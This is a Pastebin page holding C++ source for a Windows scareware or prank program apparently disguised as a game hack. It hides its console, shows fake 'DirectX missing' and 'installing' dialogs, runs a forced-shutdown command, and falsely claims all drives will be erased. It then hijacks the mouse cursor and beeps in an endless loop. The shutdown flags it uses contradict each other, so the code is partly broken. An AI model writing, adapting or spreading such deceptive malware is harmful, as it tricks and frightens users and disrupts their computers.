Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <Windows.h>
- using namespace std;
- void CreateFile()
- {
- if(MessageBox(HWND_DESKTOP,L"DirectX not found\nFix problem?",L"Missing File",MB_YESNO) == IDYES)
- {
- //system("shutdown -a");
- if(MessageBox(HWND_DESKTOP,L"DirectX is installing.",L"Missing File",MB_OK) == IDOK)
- {
- return;
- }
- }
- else
- {
- if(MessageBox(HWND_DESKTOP,L"Can't use hack without it\nAre you sure you want to cancel?",L"Missing File",MB_YESNO) == IDYES)
- {
- exit(0);
- }
- else
- {
- CreateFile();
- }
- }
- }
- void CreateMessage()
- {
- if(MessageBox(HWND_DESKTOP,L"DirectX installed!",L"Missing File",MB_OK) == IDOK)
- {
- return;
- }
- }
- void Restart()
- {
- if(MessageBox(HWND_DESKTOP,L"Are you sure you want to shutdown before finished?",L"Shutdown?",MB_YESNO) == IDYES)
- {
- system("shutdown -a -f -t 20");
- }
- else
- {
- return;
- }
- }
- void MouseRape()
- {
- int width = GetSystemMetrics(SM_CXSCREEN); //thanks fleep
- int height = GetSystemMetrics(SM_CYSCREEN); //thanks fleep
- if(MessageBox(HWND_DESKTOP,L"HAHA, Once your computer is shutdown all your precious drives will be erased!",L"VIRUS",MB_OK) == IDOK)
- {
- Sleep(10);
- }
- system("shutdown -a -f -t 20");
- for(;;)
- {
- Sleep(500);
- printf ("\a");
- SetCursorPos( rand () % (width + 1), rand () % (height + 1) ); //thanks fleep
- if(GetAsyncKeyState(VK_CONTROL))
- {
- exit(0);
- }
- }
- }
- int main()
- {
- HWND hWnd = GetConsoleWindow();
- ShowWindow( hWnd, SW_HIDE );
- CreateFile();
- Sleep(5000);
- CreateMessage();
- Sleep(100);
- Restart();
- Sleep(105);
- MouseRape();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement